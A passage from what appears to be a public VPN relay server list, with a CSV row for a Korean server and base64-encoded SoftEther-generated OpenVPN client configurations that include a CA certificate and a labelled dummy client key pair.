sZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAxMjEuMTU3LjE2MS4xNCAxNzk1DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgSFRUUC9IVFRQUyBwcm94eSBzZXR0aW5nLg0KIyANCiMgT25seSBpZiB5b3UgaGF2ZSB0byB1c2UgdGhlIEludGVybmV0IHZpYSBhIHByb3h5LCB1bmNvbW1lbnQgdGhlIGJlbG93DQojIHR3byBsaW5lcyBhbmQgc3BlY2lmeSB0aGUgcHJveHkgYWRkcmVzcyBhbmQgdGhlIHBvcnQgbnVtYmVyLg0KIyBJbiB0aGUgY2FzZSBvZiB1c2luZyBwcm94eS1hdXRoZW50aWNhdGlvbiwgcmVmZXIgdGhlIE9wZW5WUE4gbWFudWFsLg0KDQo7aHR0cC1wcm94eS1yZXRyeQ0KO2h0dHAtcHJveHkgW3Byb3h5IHNlcnZlcl0gW3Byb3h5IHBvcnRdDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgZW5jcnlwdGlvbiBhbmQgYXV0aGVudGljYXRpb24gYWxnb3JpdGhtLg0KIyANCiMgRGVmYXVsdCBzZXR0aW5nIGlzIGdvb2QuIE1vZGlmeSBpdCBhcyB5b3UgcHJlZmVyLg0KIyBXaGVuIHlvdSBzcGVjaWZ5IGFuIHVuc3VwcG9ydGVkIGFsZ29yaXRobSwgdGhlIGVycm9yIHdpbGwgb2NjdXIuDQojIA0KIyBUaGUgc3VwcG9ydGVkIGFsZ29yaXRobXMgYXJlIGFzIGZvbGxvd3M6DQojICBjaXBoZXI6IFtOVUxMLUNJUEhFUl0gTlVMTCBBRVMtMTI4LUNCQyBBRVMtMTkyLUNCQyBBRVMtMjU2LUNCQyBCRi1DQkMNCiMgICAgICAgICAgQ0FTVC1DQkMgQ0FTVDUtQ0JDIERFUy1DQkMgREVTLUVERS1DQkMgREVTLUVERTMtQ0JDIERFU1gtQ0JDDQojICAgICAgICAgIFJDMi00MC1DQkMgUkMyLTY0LUNCQyBSQzItQ0JDIENBTUVMTElBLTEyOC1DQkMgQ0FNRUxMSUEtMTkyLUNCQyBDQU1FTExJQS0yNTYtQ0JDDQojICBkYXRhLWNpcGhlcnM6IHNhbWUgYXMgY2lwaGVyDQojICBhdXRoOiAgIFNIQSBTSEExIFNIQTI1NiBTSEEzODQgU0hBNTEyIE1ENSBNRDQgUk1EMTYwDQojDQojIE5vdGU6IFRvIHNvbHZlIE9wZW5WUE4gY29tcGF0aWJpbGl0eSBidWcNCiMgUmVjZW50IHZlcnNpb25zIG9mIHRoZSBPcGVuVlBOIGFwcCByZXF1aXJlIHNwZWNpZnlpbmcgdGhlICJkYXRhLWNpcGhlcnMiDQojIGZpZWxkIGluc3RlYWQgb2YgdGhlICJjaXBoZXIiIGZpZWxkLiBIb3dldmVyLCBvbGRlciB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHANCiMgZG8gbm90IHJlY29nbml6ZSAiZGF0YS1jaXBoZXJzLiIgUmF0aGVyIHRoYW4gaWdub3JpbmcgaXQsIHRoZXkgcHJvZHVjZQ0KIyBhIHN0YXJ0dXAgZXJyb3Igc3RhdGluZyB0aGF0ICJubyBzdWNoIG9wdGlvbiBleGlzdHMuIiBUaGlzIGlzIGEgYnVnDQojIGluIE9wZW5WUE4uIElmIHlvdSBlbmNvdW50ZXIgdGhpcyBpc3N1ZSwgcGxlYXNlIGNvbW1lbnQgb3V0DQojIHRoZSAiZGF0YS1jaXBoZXJzIiBsaW5lLg0KDQpjaXBoZXIgQUVTLTEyOC1DQkMNCmRhdGEtY2lwaGVycyBBRVMtMTI4LUNCQw0KYXV0aCBTSEExDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPdGhlciBwYXJhbWV0ZXJzIG5lY2Vzc2FyeSB0byBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgSXQgaXMgbm90IHJlY29tbWVuZGVkIHRvIG1vZGlmeSBpdCB1bmxlc3MgeW91IGhhdmUgYSBwYXJ0aWN1bGFyIG5lZWQuDQoNCnJlc29sdi1yZXRyeSBpbmZpbml0ZQ0Kbm9iaW5kDQpwZXJzaXN0LWtleQ0KcGVyc2lzdC10dW4NCmNsaWVudA0KdmVyYiAzDQojYXV0aC11c2VyLXBhc3MNCg0KDQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQojIFRoZSBjZXJ0aWZpY2F0ZSBmaWxlIG9mIHRoZSBkZXN0aW5hdGlvbiBWUE4gU2VydmVyLg0KIyANCiMgVGhlIENBIGNlcnRpZmljYXRlIGZpbGUgaXMgZW1iZWRkZWQgaW4gdGhlIGlubGluZSBmb3JtYXQuDQojIFlvdSBjYW4gcmVwbGFjZSB0aGlzIENBIGNvbnRlbnRzIGlmIG5lY2Vzc2FyeS4NCiMgUGxlYXNlIG5vdGUgdGhhdCBpZiB0aGUgc2VydmVyIGNlcnRpZmljYXRlIGlzIG5vdCBhIHNlbGYtc2lnbmVkLCB5b3UgaGF2ZSB0bw0KIyBzcGVjaWZ5IHRoZSBzaWduZXIncyByb290IGNlcnRpZmljYXRlIChDQSkgaGVyZS4NCg0KPGNhPg0KLS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tDQpNSUlGYXpDQ0ExT2dBd0lCQWdJUkFJSVF6N0RTUU9OWlJHUGd1Mk9DaXdBd0RRWUpLb1pJaHZjTkFRRUxCUUF3DQpUekVMTUFrR0ExVUVCaE1DVlZNeEtUQW5CZ05WQkFvVElFbHVkR1Z5Ym1WMElGTmxZM1Z5YVhSNUlGSmxjMlZoDQpjbU5vSUVkeWIzVndNUlV3RXdZRFZRUURFd3hKVTFKSElGSnZiM1FnV0RFd0hoY05NVFV3TmpBME1URXdORE00DQpXaGNOTXpVd05qQTBNVEV3TkRNNFdqQlBNUXN3Q1FZRFZRUUdFd0pWVXpFcE1DY0dBMVVFQ2hNZ1NXNTBaWEp1DQpaWFFnVTJWamRYSnBkSGtnVW1WelpXRnlZMmdnUjNKdmRYQXhGVEFUQmdOVkJBTVRERWxUVWtjZ1VtOXZkQ0JZDQpNVENDQWlJd0RRWUpLb1pJaHZjTkFRRUJCUUFEZ2dJUEFEQ0NBZ29DZ2dJQkFLM29KSFAwRkRmem01NHJWeWdjDQpoNzdjdDk4NGtJeHVQT1pYb0hqM2RjS2kvdlZxYnZZQVR5amIzbWlHYkVTVHRyRmovUlFTYTc4ZjB1b3hteUYrDQowVE04dWtqMTNYbmZzN2ovRXZFaG1rdkJpb1p4YVVwbVpteVBmanh3djYwcElnYno1TURtZ0s3aVM0KzNtWDZVDQpBNS9UUjVkOG1VZ2pVK2c0cms4S2I0TXUwVWxYaklCMHR0b3YwRGlOZXdOd0lSdDE4akE4K28rdTNkcGpxK3NXDQpUOEtPRVV0K3p3dm8vN1YzTHZTeWUwcmdUQklsREhDTkF5bWc0Vk1rN0JQWjdobS9FTE5LakQrSm8yRlIzcXlIDQpCNVQwWTNIc0x1SnZXNWlCNFlsY05IbHNkdTg3a0dKNTV0dWttaThteGRBUTRRN2UyUkNPRnZ1Mzk2ajN4K1VDDQpCNWlQTmdpVjUrSTNsZzAyZFo3N0RuS3hIWnU4QS9sSkJkaUIzUVcwS3RaQjZhd0JkcFVLRDlqZjFiMFNIelV2DQpLQmRzMHBqQnFBbGtkMjVITjdyT3JGbGVhSjEvY3RhSnhRWkJLVDVaUHQwbTlTVEpFYWRhbzB4QUgwYWhtYlduDQpPbEZ1aGp1ZWZYS25FZ1Y0V2UwK1VYZ1ZDd09QamRBdkJiSStlMG9jUzNNRkV2ekc2dUJRRTN4RGszU3p5blRuDQpqaDhCQ05BdzFGdHhOclFIdXNFd01GeEl0NEk3bUtaOVlJcWlveW1DekxxOWd3UWJvb01EUWFIV0JmRWJ3cmJ3DQpxSHlHTzBhb1NDcUkzSGFhZHI4ZmFxVTlHWS9yT1BOazNzZ3JEUW9vLy9mYjRoVkMxQ0xRSjEzaGVmNFk1M0NJDQpyVTdtMllzNnh0MG5VVzcvdkdUMU0wTlBBZ01CQUFHalFqQkFNQTRHQTFVZER3RUIvd1FFQXdJQkJqQVBCZ05WDQpIUk1CQWY4RUJUQURBUUgvTUIwR0ExVWREZ1FXQkJSNXRGbm1lN2JsNUFGemdBaUl5QnBZOXVtYmJqQU5CZ2txDQpoa2lHOXcwQkFRc0ZBQU9DQWdFQVZSOVlxYnl5cUZEUURMSFlHbWtnSnlrSXJHRjFYSXB1K0lMbGFTL1Y5bFpMDQp1Ymh6RUZuVElaZCs1MHh4KzdMU1lLMDVxQXZxRnlGV2hmRlFEbG5yenVCWjZickpGZStHblkrRWdQYms2WkdRDQozQmViWWh0RjhHYVYwbnh2d3VvNzd4L1B5OWF1Si9HcHNNaXUvWDErbXZvaUJPdi8yWC9xa1NzaXNSY09qL0tLDQpORnRZMlB3QnlWUzV1Q2JNaW9nemlVd3RoRHlDMys2V1Z3VzZMTHYzeExmSFRqdUN2akhJSW5Oemt0SENnS1E1DQpPUkF6STRKTVBKK0dzbFdZSGI0cGhvd2ltNTdpYXp0WE9vSndUZHdKeDRuTENnZE5iT2hkanNudnpxdkh1N1VyDQpUa1hXU3RBbXpPVnl5Z2hxcFpYakZhSDNwTzNKTEYrbCsvK3NLQUl1dnRkN3UrTnhlNUFXMHdkZVJsTjhOd2RDDQpqTlBFbHB6Vm1iVXE0SlVhZ0VpdVREa0h6c3hIcEZLVks3cTQrNjNTTTFOOTVSMU5iZFdoc2NkQ2IrWkFKelZjDQpveWkzQjQzbmpUT1E1eU9mKzFDY2VXeEcxYlFWczVadWZwc01sanE0VWkwLzFsdmgrd2pDaFA0a3FLT0oycXhxDQo0Umdxc2FoRFlWdlRIOXc3alhieUxlaU5kZDhYTTJ3OVUvdDd5MEZmLzl5aTBHRTQ0WmE0ckYyTE45ZDExVFBBDQptUkd1blVIQmNuV0V2Z0pCUWw5bkpFaVUwWnNudmdjL3ViaFBnWFJSNFhxMzdaMGo0cjdnMVNnRUV6d3hBNTdkDQplbXlQeGdjWXhuL2VSNDQvS0o0RUJzK2xWRFIzdmV5Sm0ra1hROTliMjEvK2poNVhvczFBblg1aUl0cmVHQ2M9DQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tDQoNCjwvY2E+DQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBUaGUgY2xpZW50IGNlcnRpZmljYXRlIGZpbGUgKGR1bW15KS4NCiMgDQojIEluIHNvbWUgaW1wbGVtZW50YXRpb25zIG9mIE9wZW5WUE4gQ2xpZW50IHNvZnR3YXJlDQojIChmb3IgZXhhbXBsZTogT3BlblZQTiBDbGllbnQgZm9yIGlPUyksDQojIGEgcGFpciBvZiBjbGllbnQgY2VydGlmaWNhdGUgYW5kIHByaXZhdGUga2V5IG11c3QgYmUgaW5jbHVkZWQgb24gdGhlDQojIGNvbmZpZ3VyYXRpb24gZmlsZSBkdWUgdG8gdGhlIGxpbWl0YXRpb24gb2YgdGhlIGNsaWVudC4NCiMgU28gdGhpcyBzYW1wbGUgY29uZmlndXJhdGlvbiBmaWxlIGhhcyBhIGR1bW15IHBhaXIgb2YgY2xpZW50IGNlcnRpZmljYXRlDQojIGFuZCBwcml2YXRlIGtleSBhcyBmb2xsb3dzLg0KDQo8Y2VydD4NCi0tLS0tQkVHSU4gQ0VSVElGSUNBVEUtLS0tLQ0KTUlJQ3hqQ0NBYTRDQVFBd0RRWUpLb1pJaHZjTkFRRUZCUUF3S1RFYU1CZ0dBMVVFQXhNUlZsQk9SMkYwWlVOcw0KYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUU1CNFhEVEV6TURJeE1UQXpORGswT1ZvWERUTTNNREV4T1RBeg0KTVRRd04xb3dLVEVhTUJnR0ExVUVBeE1SVmxCT1IyRjBaVU5zYVdWdWRFTmxjblF4Q3pBSkJnTlZCQVlUQWtwUQ0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUE1aDJsZ1FRWVVqd29LWUpielZaQQ0KNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5UndSZU5WYTlmRFJGTFJCaGNJVE9sdjNGQmNXM0U4aDFVczdSRA0KNFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuY3pXNE9DSDFQWlJaV0txRHRqbE5jYTlBRjhhNjVqVG1sRHhDUQ0KQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaTU1b2ZoYU5BWU1QaUg3VjgrMWc2NnBHSFhBb1dLNkFRVkg2Nw0KWENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTi8ydEhrY2FMTHlOdHl3eFZQUlNzUmg0ODBqanUwZmNDc3Y2aA0KcC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQW1yc2JZbmppZ1J2blBxWDFSTkpVYmk5RnA2QzJjL0hJRkpHRA0KeXdJREFRQUJNQTBHQ1NxR1NJYjNEUUVCQlFVQUE0SUJBUUNoTzVoZ2N3LzRvV2ZvRUZMdTlrQmExQi8va3hIOA0KaFFrQ2hWTm44QlJDN1kwVVJRaXRQbDNES0VlZDlVUkJEZGcyS09Bejc3YmI2RU5QaWxpRCthMzhVSkhJUk1xZQ0KVUJIaGxsT0hJenZEaEhGYmFvdkFMQlFjZWVCemRrUXhzS1FFU0ttUW1SODMyOTUwVUNvdm95UkI2MVV5QVY3aA0KK21aaFlQR1JLWEtTSkk2czBFZ2cvQ3JpK0N3azRiakpmcmI1aFZzZTExeWg0RDlNSGh3U2ZDT0grMHo0aFBVVA0KRmt1N2RHYXZVUk81U1Z4TW4vc0w2RW41RCtvU2VYa2FkSHBEcytBaXJ5bTJZSGgxNWgwK2pQU09vUjZ5aVZwLw0KNnpaZVprck40M2t1UzczS3BLREZqZkZQaDh0NHIxZ09JanR0a05jUXFCY2N1c25wbFE3SEpwc2sNCi0tLS0tRU5EIENFUlRJRklDQVRFLS0tLS0NCg0KPC9jZXJ0Pg0KDQo8a2V5Pg0KLS0tLS1CRUdJTiBSU0EgUFJJVkFURSBLRVktLS0tLQ0KTUlJRXBBSUJBQUtDQVFFQTVoMmxnUVFZVWp3b0tZSmJ6VlpBNVZjSUdkNW90UGMvcVpSTXQwS0l0Q0ZBMHM5Ug0Kd1JlTlZhOWZEUkZMUkJoY0lUT2x2M0ZCY1czRThoMVVzN1JENFc4R21KZTh6YXBKbkxzRDM5T1NNUkN6WkpuYw0Kelc0T0NIMVBaUlpXS3FEdGpsTmNhOUFGOGE2NWpUbWxEeENRQ2pudExJV2s1T0xMVmtGdDkvdFNjYzFHRHRjaQ0KNTVvZmhhTkFZTVBpSDdWOCsxZzY2cEdIWEFvV0s2QVFWSDY3WENLSm5HQjVubFErSHNNWVBWL080OUxkOTFaTg0KLzJ0SGtjYUxMeU50eXd4VlBSU3NSaDQ4MGpqdTBmY0NzdjZocC8weVhuVEIvL21XdXRCR3BkVWxJYndpSVRiQQ0KbXJzYlluamlnUnZuUHFYMVJOSlViaTlGcDZDMmMvSElGSkdEeXdJREFRQUJBb0lCQUVSVjdYNUF2eEE4dVJpSw0KazhTSXBzRDBkWDFwSk9NSXdha1VWeXZjNEVmTjBEaEtSTmI0cllvU2lFR1RMeXpMcHlCYy9BMjhEbGttNWVPWQ0KZmp6WGZZa0d0WWkvRnR4a2czTzl2Y3JNUTQrNmkrdUdIYUlMMnJMK3M0TXJmTzh2MXh2NitXa3kzM0VFR0NvdQ0KUWl3VkdSRlFYblJvUTYyTkJDRmJVTkxobVh3ZGoxYWtaekxVNHA1UjR6QTNRaGR4d0VJYXRWTHQwKzdvd0xRMw0KbFA4c2ZYaHBwUE9YalRxTUQ0UWtZd3pQQWE4L3pGN2FjbjRrcnlyVVA3UTZQQWZkMHpFVnFOeTlaQ1o5ZmZobw0KelhlZEZqNDg2SUZvYzVnblRwMk42anNuVmo0TENHSWhsVkhsWUdvektLRnFKY1FWR3NIQ3FxMW96MnpqVzZMUw0Kb1JZSUhnRUNnWUVBOHpacmtDd05ZU1hKdU9ESjNtL2hPTFZ4Y3hnSnV3WG9pRXJXZDBFNDJ2UGFuampWTWhudA0KS1k1bDhxR01KNkZoSzlMWXgycUNyZi9FMFh0VUFaMndWcTNPUlR5R25zTVdyZTl0TFlzNTVYK1pOMTBUYzc1eg0KNGhhY2JVMGhxS04xSGlEbXNNUlkzLzJOYVpIb3k3TUtud0pKQmFHNDhsOUNDVGxWd01Ib2NJRUNnWUVBOGpieQ0KZEdqeFRIKzZYSFdOaXpiNVNSYlp4QW55RWVKZVJ3VE1oMGdHendHUHBIL3NaWUd6eXUwU3lTWFdDblpoM1JncQ0KNXVMbE54dHJYcmxqWmx5aTJuUWRRZ3NxMllyV1VzMCt6Z1UrMjJ1UXNacFNBZnRtaFZydHZldDZNalZqYkJ5WQ0KREFEY2lFVlVkSllJWGsrcW5GVUp5ZXJvTElrVGo3V1lLWjZSamtzQ2dZQm9DRkl3UkRlZzQyb0s4OVJGbW5Pcg0KTHltTkFxNCsyb01oc1dsVmI0ZWpXSVdlQWs5bmMrR1hVZnJYc3pSaFMwMW1VblU1cjV5Z1V2UmNhclYvVDNVNw0KVG5NWitJN1k0RGdXUklEZDUxem5oeElCdFlWNWovQy90ODVIanFPa0grOGI2UlRrYmNoYVgzbWF1N2ZwVWZkcw0KRnEwbmhJcTQyZmhFTzhzcmZZWXdnUUtCZ1FDeWhpMU4vOHRhUndwayszL0lERXpRd2piZmR6VWtXV1NEazlYcw0KSC9wa3VSSFdmVE1QM2ZsV3FFWWdXL0xXNDBwZVcySERxNWltZFY4K0FnWnhlL1hNYmFqaTlMZ3dmMVJZMDA1bg0KS3hhWlF6N3lxSHVwV2xMR0Y2OERQSHhrWlZWU2FnRG5WL3N6dFdYNlNGc0NxRlZueElYaWZYR0M0Y1c1Tm05Zw0KdmE4cTRRS0JnUUNFaExWZVVmZHdLdmtaOTRnL0dGejczMVoyaHJkVmhnTVphVS91NnQwVjk1K1llelBOQ1FaQg0Kd21FOU1tbGJxMWVtRGVST2l2akNmb0doUjNrWlhXMXBUS2xMaDZaTVVRVU9wcHRkWHZhOFh4Zm9xUXdhM2VuQQ0KTTdtdUJiRjBYTjdWTzgwaUpQditQbUlaZEVJQWtwd0tmaTIwMVlCK0JhZkNJdUd4SUY1MFZnPT0NCi0tLS0tRU5EIFJTQSBQUklWQVRFIEtFWS0tLS0tDQoNCjwva2V5Pg0KDQo= +vpn496466132,220.86.22.52,524966,32,458856020,Korea Republic of,KR,2,1000,1590,147688481817,2weeks,taemin03's owner,,IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBPcGVuVlBOIDIuMCBTYW1wbGUgQ29uZmlndXJhdGlvbiBGaWxlDQojIGZvciBQYWNrZXRpWCBWUE4gLyBTb2Z0RXRoZXIgVlBOIFNlcnZlcg0KIyANCiMgISEhIEFVVE8tR0VORVJBVEVEIEJZIFNPRlRFVEhFUiBWUE4gU0VSVkVSIE1BTkFHRU1FTlQgVE9PTCAhISENCiMgDQojICEhISBZT1UgSEFWRSBUTyBSRVZJRVcgSVQgQkVGT1JFIFVTRSBBTkQgTU9ESUZZIElUIEFTIE5FQ0VTU0FSWSAhISENCiMgDQojIFRoaXMgY29uZmlndXJhdGlvbiBmaWxlIGlzIGF1dG8tZ2VuZXJhdGVkLiBZb3UgbWlnaHQgdXNlIHRoaXMgY29uZmlnIGZpbGUNCiMgaW4gb3JkZXIgdG8gY29ubmVjdCB0byB0aGUgUGFja2V0aVggVlBOIC8gU29mdEV0aGVyIFZQTiBTZXJ2ZXIuDQojIEhvd2V2ZXIsIGJlZm9yZSB5b3UgdHJ5IGl0LCB5b3Ugc2hvdWxkIHJldmlldyB0aGUgZGVzY3JpcHRpb25zIG9mIHRoZSBmaWxlDQojIHRvIGRldGVybWluZSB0aGUgbmVjZXNzaXR5IHRvIG1vZGlmeSB0byBzdWl0YWJsZSBmb3IgeW91ciByZWFsIGVudmlyb25tZW50Lg0KIyBJZiBuZWNlc3NhcnksIHlvdSBoYXZlIHRvIG1vZGlmeSBhIGxpdHRsZSBhZGVxdWF0ZWx5IG9uIHRoZSBmaWxlLg0KIyBGb3IgZXhhbXBsZSwgdGhlIElQIGFkZHJlc3Mgb3IgdGhlIGhvc3RuYW1lIGFzIGEgZGVzdGluYXRpb24gVlBOIFNlcnZlcg0KIyBzaG91bGQgYmUgY29uZmlybWVkLg0KIyANCiMgTm90ZSB0aGF0IHRvIHVzZSBPcGVuVlBOIDIuMCwgeW91IGhhdmUgdG8gcHV0IHRoZSBjZXJ0aWZpY2F0aW9uIGZpbGUgb2YNCiMgdGhlIGRlc3RpbmF0aW9uIFZQTiBTZXJ2ZXIgb24gdGhlIE9wZW5WUE4gQ2xpZW50IGNvbXB1dGVyIHdoZW4geW91IHVzZSB0aGlzDQojIGNvbmZpZyBmaWxlLiBQbGVhc2UgcmVmZXIgdGhlIGJlbG93IGRlc2NyaXB0aW9ucyBjYXJlZnVsbHkuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB0eXBlIG9mIHRoZSBsYXllciBvZiB0aGUgVlBOIGNvbm5lY3Rpb24uDQojIA0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgIlJlbW90ZS1BY2Nlc3MgVlBOIENsaWVudCBQQyIsDQojICBzcGVjaWZ5ICdkZXYgdHVuJy4gKExheWVyLTMgSVAgUm91dGluZyBNb2RlKQ0KIw0KIyBUbyBjb25uZWN0IHRvIHRoZSBWUE4gU2VydmVyIGFzIGEgYnJpZGdpbmcgZXF1aXBtZW50IG9mICJTaXRlLXRvLVNpdGUgVlBOIiwNCiMgIHNwZWNpZnkgJ2RldiB0YXAnLiAoTGF5ZXItMiBFdGhlcm5ldCBCcmlkZ2luZSBNb2RlKQ0KDQpkZXYgdHVuDQoNCg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIw0KIyBTcGVjaWZ5IHRoZSB1bmRlcmx5aW5nIHByb3RvY29sIGJleW9uZCB0aGUgSW50ZXJuZXQuDQojIE5vdGUgdGhhdCB0aGlzIHNldHRpbmcgbXVzdCBiZSBjb3JyZXNwb25kIHdpdGggdGhlIGxpc3RlbmluZyBzZXR0aW5nIG9uDQojIHRoZSBWUE4gU2VydmVyLg0KIyANCiMgU3BlY2lmeSBlaXRoZXIgJ3Byb3RvIHRjcCcgb3IgJ3Byb3RvIHVkcCcuDQoNCnByb3RvIHRjcA0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGRlc3RpbmF0aW9uIGhvc3RuYW1lIC8gSVAgYWRkcmVzcywgYW5kIHBvcnQgbnVtYmVyIG9mDQojIHRoZSB0YXJnZXQgVlBOIFNlcnZlci4NCiMgDQojIFlvdSBoYXZlIHRvIHNwZWNpZnkgYXMgJ3JlbW90ZSA8SE9TVE5BTUU+IDxQT1JUPicuIFlvdSBjYW4gYWxzbw0KIyBzcGVjaWZ5IHRoZSBJUCBhZGRyZXNzIGluc3RlYWQgb2YgdGhlIGhvc3RuYW1lLg0KIyANCiMgTm90ZSB0aGF0IHRoZSBhdXRvLWdlbmVyYXRlZCBiZWxvdyBob3N0bmFtZSBhcmUgYSAiYXV0by1kZXRlY3RlZA0KIyBJUCBhZGRyZXNzIiBvZiB0aGUgVlBOIFNlcnZlci4gWW91IGhhdmUgdG8gY29uZmlybSB0aGUgY29ycmVjdG5lc3MNCiMgYmVmb3JlaGFuZC4NCiMgDQojIFdoZW4geW91IHdhbnQgdG8gY29ubmVjdCB0byB0aGUgVlBOIFNlcnZlciBieSB1c2luZyBUQ1AgcHJvdG9jb2wsDQojIHRoZSBwb3J0IG51bWJlciBvZiB0aGUgZGVzdGluYXRpb24gVENQIHBvcnQgc2hvdWxkIGJlIHNhbWUgYXMgb25lIG9mDQojIHRoZSBhdmFpbGFibGUgVENQIGxpc3RlbmVycyBvbiB0aGUgVlBOIFNlcnZlci4NCiMgDQojIFdoZW4geW91IHVzZSBVRFAgcHJvdG9jb2wsIHRoZSBwb3J0IG51bWJlciBtdXN0IHNhbWUgYXMgdGhlIGNvbmZpZ3VyYXRpb24NCiMgc2V0dGluZyBvZiAiT3BlblZQTiBTZXJ2ZXIgQ29tcGF0aWJsZSBGdW5jdGlvbiIgb24gdGhlIFZQTiBTZXJ2ZXIuDQoNCnJlbW90ZSAyMjAuODYuMjIuNTIgMTc3OQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIEhUVFAvSFRUUFMgcHJveHkgc2V0dGluZy4NCiMgDQojIE9ubHkgaWYgeW91IGhhdmUgdG8gdXNlIHRoZSBJbnRlcm5ldCB2aWEgYSBwcm94eSwgdW5jb21tZW50IHRoZSBiZWxvdw0KIyB0d28gbGluZXMgYW5kIHNwZWNpZnkgdGhlIHByb3h5IGFkZHJlc3MgYW5kIHRoZSBwb3J0IG51bWJlci4NCiMgSW4gdGhlIGNhc2Ugb2YgdXNpbmcgcHJveHktYXV0aGVudGljYXRpb24sIHJlZmVyIHRoZSBPcGVuVlBOIG1hbnVhbC4NCg0KO2h0dHAtcHJveHktcmV0cnkNCjtodHRwLXByb3h5IFtwcm94eSBzZXJ2ZXJdIFtwcm94eSBwb3J0XQ0KDQoNCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMNCiMgVGhlIGVuY3J5cHRpb24gYW5kIGF1dGhlbnRpY2F0aW9uIGFsZ29yaXRobS4NCiMgDQojIERlZmF1bHQgc2V0dGluZyBpcyBnb29kLiBNb2RpZnkgaXQgYXMgeW91IHByZWZlci4NCiMgV2hlbiB5b3Ugc3BlY2lmeSBhbiB1bnN1cHBvcnRlZCBhbGdvcml0aG0sIHRoZSBlcnJvciB3aWxsIG9jY3VyLg0KIyANCiMgVGhlIHN1cHBvcnRlZCBhbGdvcml0aG1zIGFyZSBhcyBmb2xsb3dzOg0KIyAgY2lwaGVyOiBbTlVMTC1DSVBIRVJdIE5VTEwgQUVTLTEyOC1DQkMgQUVTLTE5Mi1DQkMgQUVTLTI1Ni1DQkMgQkYtQ0JDDQojICAgICAgICAgIENBU1QtQ0JDIENBU1Q1LUNCQyBERVMtQ0JDIERFUy1FREUtQ0JDIERFUy1FREUzLUNCQyBERVNYLUNCQw0KIyAgICAgICAgICBSQzItNDAtQ0JDIFJDMi02NC1DQkMgUkMyLUNCQyBDQU1FTExJQS0xMjgtQ0JDIENBTUVMTElBLTE5Mi1DQkMgQ0FNRUxMSUEtMjU2LUNCQw0KIyAgZGF0YS1jaXBoZXJzOiBzYW1lIGFzIGNpcGhlcg0KIyAgYXV0aDogICBTSEEgU0hBMSBTSEEyNTYgU0hBMzg0IFNIQTUxMiBNRDUgTUQ0IFJNRDE2MA0KIw0KIyBOb3RlOiBUbyBzb2x2ZSBPcGVuVlBOIGNvbXBhdGliaWxpdHkgYnVnDQojIFJlY2VudCB2ZXJzaW9ucyBvZiB0aGUgT3BlblZQTiBhcHAgcmVxdWlyZSBzcGVjaWZ5aW5nIHRoZSAiZGF0YS1jaXBoZXJzIg0KIyBmaWVsZCBpbnN0ZWFkIG9mIHRoZSAiY2lwaGVyIiBmaWVsZC4gSG93ZXZlciwgb2xkZXIgdmVyc2lvbnMgb2YgdGhlIE9wZW5WUE4gYXBwDQojIGRvIG5vdCByZWNvZ25pemUgImRhdGEtY2lwaGVycy4iIFJhdGhlciB0aGFuIGlnbm9yaW5nIGl0LCB0aGV5IHByb2R1Y2UNCiMgYSBzdGFydHVwIGVycm9yIHN0YXRpbmcgdGhhdCAibm8gc3VjaCBvcHRpb24gZXhpc3RzLiIgVGhpcyBpcyBhIGJ1Zw0KIyBpbiBPcGVuVlBOLiBJZiB5b3UgZW5jb3VudGVyIHRoaXMgaXNzdWUsIHBsZWFzZSBjb21tZW50IG91dA0KIyB0a